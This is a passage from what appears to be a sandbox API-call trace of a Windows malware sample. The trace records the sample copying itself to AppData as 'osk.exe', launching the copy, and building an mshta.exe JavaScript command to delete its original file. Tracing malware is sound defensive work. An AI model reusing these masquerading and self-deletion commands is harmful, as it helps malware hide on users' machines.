(pMem=0x4de658) returned 0x33000c [0027.456] GlobalUnlock (hMem=0x33000c) returned 0 [0027.456] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.456] GlobalUnlock (hMem=0x330004) returned 0 [0027.456] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.456] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.456] GlobalUnlock (hMem=0x330004) returned 0 [0027.456] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.456] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.456] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.457] GlobalUnlock (hMem=0x330004) returned 0 [0027.457] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.457] GlobalUnlock (hMem=0x33000c) returned 0 [0027.457] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.457] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.457] GlobalUnlock (hMem=0x33000c) returned 0 [0027.457] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.457] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.457] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.457] GlobalUnlock (hMem=0x33000c) returned 0 [0027.457] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.457] GlobalUnlock (hMem=0x330004) returned 0 [0027.457] SHGetMalloc (in: ppMalloc=0x18fd40 | out: ppMalloc=0x18fd40*=0x764066bc) returned 0x0 [0027.457] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x18fd3c | out: ppidl=0x18fd3c) returned 0x0 [0027.522] SHGetPathFromIDListW (in: pidl=0x4deb68, pszPath=0x505c84 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0027.523] SysReAllocStringLen (in: pbstr=0x18fd68*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x18fd68*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0027.523] IMalloc:Free (This=0x764066bc, pv=0x4deb68) [0027.523] IUnknown:AddRef (This=0x764066bc) returned 0x1 [0027.523] SysReAllocStringLen (in: pbstr=0x437208*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x437208*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0027.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e198b8, cbMultiByte=7, lpWideCharStr=0x18ed3c, cchWideChar=2047 | out: lpWideCharStr="osk.exe\x18ㅬ畱\x18㹕畱兑N\x18") returned 7 [0027.523] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" runas" [0027.525] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" runas" [0027.528] GlobalLock (hMem=0x330004) returned 0x4df0f0 [0027.528] GlobalHandle (pMem=0x4df0f0) returned 0x330004 [0027.528] GlobalUnlock (hMem=0x330004) returned 0 [0027.528] GlobalLock (hMem=0x330004) returned 0x4df0f0 [0027.528] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.528] GlobalHandle (pMem=0x4df0f0) returned 0x330004 [0027.528] GlobalUnlock (hMem=0x330004) returned 0 [0027.528] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.528] GlobalUnlock (hMem=0x33000c) returned 0 [0027.528] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.528] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.528] GlobalUnlock (hMem=0x33000c) returned 0 [0027.528] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.528] GlobalLock (hMem=0x330004) returned 0x4df0f0 [0027.528] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.529] GlobalUnlock (hMem=0x33000c) returned 0 [0027.529] GlobalHandle (pMem=0x4df0f0) returned 0x330004 [0027.529] GlobalUnlock (hMem=0x330004) returned 0 [0027.529] GlobalLock (hMem=0x330004) returned 0x508908 [0027.529] GlobalHandle (pMem=0x508908) returned 0x330004 [0027.529] GlobalUnlock (hMem=0x330004) returned 0 [0027.529] GlobalLock (hMem=0x330004) returned 0x508908 [0027.529] GlobalLock (hMem=0x33000c) returned 0x4df0f0 [0027.529] GlobalHandle (pMem=0x508908) returned 0x330004 [0027.529] GlobalUnlock (hMem=0x330004) returned 0 [0027.529] GlobalHandle (pMem=0x4df0f0) returned 0x33000c [0027.529] GlobalUnlock (hMem=0x33000c) returned 0 [0027.529] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\qhwVf", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fe0c | out: phkResult=0x18fe0c*=0x0) returned 0x2 [0027.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fbd0 | out: lpFindFileData=0x18fbd0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36de9da0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x36de9da0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x7734e36c, dwReserved1=0x7758ab8b, cFileName="osk.exe", cAlternateFileName="")) returned 0x4eae98 [0027.529] FileTimeToLocalFileTime (in: lpFileTime=0x18fbe4, lpLocalFileTime=0x18fb64 | out: lpLocalFileTime=0x18fb64) returned 1 [0027.529] FileTimeToDosDateTime (in: lpFileTime=0x18fb64, lpFatDate=0x18fbb2, lpFatTime=0x18fbb0 | out: lpFatDate=0x18fbb2, lpFatTime=0x18fbb0) returned 1 [0027.529] FindClose (in: hFindFile=0x4eae98 | out: hFindFile=0x4eae98) returned 1 [0027.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fbd0 | out: lpFindFileData=0x18fbd0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36de9da0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x36de9da0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x7734e36c, dwReserved1=0x7758ab8b, cFileName="osk.exe", cAlternateFileName="")) returned 0x4eae98 [0027.529] FileTimeToLocalFileTime (in: lpFileTime=0x18fbe4, lpLocalFileTime=0x18fb64 | out: lpLocalFileTime=0x18fb64) returned 1 [0027.529] FileTimeToDosDateTime (in: lpFileTime=0x18fb64, lpFatDate=0x18fbb2, lpFatTime=0x18fbb0 | out: lpFatDate=0x18fbb2, lpFatTime=0x18fbb0) returned 1 [0027.530] FindClose (in: hFindFile=0x4eae98 | out: hFindFile=0x4eae98) returned 1 [0027.530] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 1 [0027.532] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fc14, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0027.532] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.532] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.532] GlobalUnlock (hMem=0x33000c) returned 0 [0027.532] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.532] GlobalLock (hMem=0x330004) returned 0x4df0f0 [0027.532] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.532] GlobalUnlock (hMem=0x33000c) returned 0 [0027.532] GlobalHandle (pMem=0x4df0f0) returned 0x330004 [0027.532] GlobalUnlock (hMem=0x330004) returned 0 [0027.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e0a6e8, cbMultiByte=18, lpWideCharStr=0x18edcc, cchWideChar=2047 | out: lpWideCharStr="/c copy /y \"@\" \"#\"\x18\x18ŐL") returned 18 [0027.532] SysReAllocStringLen (in: pbstr=0x18fdc0*=0x0, psz="/c copy /y \"@\" \"#\"", len=0x12 | out: pbstr=0x18fdc0*="/c copy /y \"@\" \"#\"") returned 1 [0027.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"@\" \"#\"", cchWideChar=18, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"@\" \"#\"\x18", lpUsedDefaultChar=0x0) returned 18 [0027.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ý\x18", lpUsedDefaultChar=0x0) returned 1 [0027.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\" \"#\"", cchWideChar=5, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\" \"#\"py /y \"@\" \"#\"\x18", lpUsedDefaultChar=0x0) returned 5 [0027.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ý\x18", lpUsedDefaultChar=0x0) returned 1 [0027.533] SysReAllocStringLen (in: pbstr=0x18fe14*=0x0, psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", len=0x41 | out: pbstr=0x18fe14*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"") returned 1 [0027.533] SysReAllocStringLen (in: pbstr=0x18fe1c*="/c copy /y \"@\" \"#\"", psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", len=0x41 | out: pbstr=0x18fe1c*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"") returned 1 [0027.533] SysReAllocStringLen (in: pbstr=0x18fdc0*=0x0, psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", len=0x41 | out: pbstr=0x18fdc0*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"") returned 1 [0027.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", cchWideChar=65, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", lpUsedDefaultChar=0x0) returned 65 [0027.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ý\x18", lpUsedDefaultChar=0x0) returned 1 [0027.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"ý\x18", lpUsedDefaultChar=0x0) returned 1 [0027.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ý\x18", lpUsedDefaultChar=0x0) returned 1 [0027.533] SysReAllocStringLen (in: pbstr=0x18fe10*=0x0, psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", len=0x75 | out: pbstr=0x18fe10*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"") returned 1 [0027.533] SysReAllocStringLen (in: pbstr=0x18fe1c*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", len=0x75 | out: pbstr=0x18fe1c*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"") returned 1 [0027.533] GlobalLock (hMem=0x330004) returned 0x508908 [0027.533] GlobalHandle (pMem=0x508908) returned 0x330004 [0027.533] GlobalUnlock (hMem=0x330004) returned 0 [0027.534] GlobalLock (hMem=0x330004) returned 0x508908 [0027.534] GlobalLock (hMem=0x33000c) returned 0x4df0f0 [0027.534] GlobalHandle (pMem=0x508908) returned 0x330004 [0027.534] GlobalUnlock (hMem=0x330004) returned 0 [0027.534] GlobalHandle (pMem=0x4df0f0) returned 0x33000c [0027.534] GlobalUnlock (hMem=0x33000c) returned 0 [0027.534] GetEnvironmentVariableA (in: lpName="COMSPEC", lpBuffer=0x18f9cc, nSize=0x400 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd2638, cbMultiByte=27, lpWideCharStr=0x18edcc, cchWideChar=2047 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exeL眴\x02") returned 27 [0027.534] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32\\", lpStartupInfo=0x18fd90*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd80 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", lpProcessInformation=0x18fd80*(hProcess=0xe8, hThread=0xe4, dwProcessId=0xb7c, dwThreadId=0xb80)) returned 1 [0027.542] WaitForSingleObject (hHandle=0xe8, dwMilliseconds=0xffffffff) returned 0x0 [0027.710] CloseHandle (hObject=0xe8) returned 1 [0027.710] CloseHandle (hObject=0xe4) returned 1 [0027.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fb80 | out: lpFindFileData=0x18fb80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36de9da0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x37214420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="osk.exe", cAlternateFileName="")) returned 0x4eae98 [0027.710] FileTimeToLocalFileTime (in: lpFileTime=0x18fb94, lpLocalFileTime=0x18fb14 | out: lpLocalFileTime=0x18fb14) returned 1 [0027.710] FileTimeToDosDateTime (in: lpFileTime=0x18fb14, lpFatDate=0x18fb62, lpFatTime=0x18fb60 | out: lpFatDate=0x18fb62, lpFatTime=0x18fb60) returned 1 [0027.711] FindClose (in: hFindFile=0x4eae98 | out: hFindFile=0x4eae98) returned 1 [0027.711] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" runas" [0027.711] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" runas" [0027.711] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.711] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.711] GlobalUnlock (hMem=0x33000c) returned 0 [0027.712] GlobalLock (hMem=0x33000c) returned 0x508908 [0027.712] GlobalLock (hMem=0x330004) returned 0x4df0f0 [0027.712] GlobalHandle (pMem=0x508908) returned 0x33000c [0027.712] GlobalUnlock (hMem=0x33000c) returned 0 [0027.712] GlobalHandle (pMem=0x4df0f0) returned 0x330004 [0027.712] GlobalUnlock (hMem=0x330004) returned 0 [0027.712] GlobalLock (hMem=0x330004) returned 0x508908 [0027.712] GlobalHandle (pMem=0x508908) returned 0x330004 [0027.712] GlobalUnlock (hMem=0x330004) returned 0 [0027.712] GlobalLock (hMem=0x330004) returned 0x508908 [0027.712] GlobalLock (hMem=0x33000c) returned 0x4df0f0 [0027.712] GlobalHandle (pMem=0x508908) returned 0x330004 [0027.712] GlobalUnlock (hMem=0x330004) returned 0 [0027.712] GlobalHandle (pMem=0x4df0f0) returned 0x33000c [0027.712] GlobalUnlock (hMem=0x33000c) returned 0 [0027.712] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e0a6e8, cbMultiByte=16, lpWideCharStr=0x18ee1c, cchWideChar=2047 | out: lpWideCharStr=":Zone.Identifier") returned 16 [0027.712] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe:Zone.Identifier", lpFindFileData=0x18fbd0 | out: lpFindFileData=0x18fbd0*(dwFileAttributes=0x7758ab47, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x4c0000, ftLastAccessTime.dwLowDateTime=0x4df0f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e196e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x813f3ad8, nFileSizeLow=0x14cc0593, dwReserved0=0xf7ec6355, dwReserved1=0x4c00c4, cFileName="㩘L֓ᓌ", cAlternateFileName="䱈@偮N倌N企@﹘\x18㨜M﹠\x18")) returned 0xffffffff [0027.712] GetLastError () returned 0x7b [0027.712] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0028.414] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb74, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0028.414] GlobalLock (hMem=0x33000c) returned 0x508908 [0028.414] GlobalHandle (pMem=0x508908) returned 0x33000c [0028.414] GlobalUnlock (hMem=0x33000c) returned 0 [0028.415] GlobalLock (hMem=0x33000c) returned 0x508908 [0028.415] GlobalLock (hMem=0x330004) returned 0x5386e0 [0028.415] GlobalHandle (pMem=0x508908) returned 0x33000c [0028.415] GlobalUnlock (hMem=0x33000c) returned 0 [0028.415] GlobalHandle (pMem=0x5386e0) returned 0x330004 [0028.415] GlobalUnlock (hMem=0x330004) returned 0 [0028.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1df28f8, cbMultiByte=142, lpWideCharStr=0x18ed7c, cchWideChar=2047 | out: lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"pData\\Roaming\\osk.exe") returned 142 [0028.415] SysReAllocStringLen (in: pbstr=0x18fd70*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x18fd70*="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"") returned 1 [0028.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", cchWideChar=142, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 142 [0028.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", cchWideChar=99, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 99 [0028.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=");setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", cchWideChar=72, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=");setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\");close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 72 [0028.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@!);close()}catch(e){}},10);\"", cchWideChar=29, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@!);close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\");close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 29 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=");close()}catch(e){}},10);\"", cchWideChar=27, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=");close()}catch(e){}},10);\";\"o.DeleteFile(!@!);close()}catch(e){}},10);\");close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 27 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.416] SysReAllocStringLen (in: pbstr=0x18fdb8*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x18fdb8*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"") returned 1 [0028.416] SysReAllocStringLen (in: pbstr=0x18fe14*="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x18fe14*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"") returned 1 [0028.416] SysReAllocStringLen (in: pbstr=0x18fd70*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x18fd70*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"") returned 1 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", cchWideChar=142, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 142 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="');close()}catch(e){}},10);\"", cchWideChar=28, lpMultiByteStr=0x18ed3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="');close()}catch(e){}},10);\"ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 28 [0028.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x18ed38, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.417] SysReAllocStringLen (in: pbstr=0x18fdb4*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"", len=0x97 | out: pbstr=0x18fdb4*="mshta.exe \"javascript:o=new 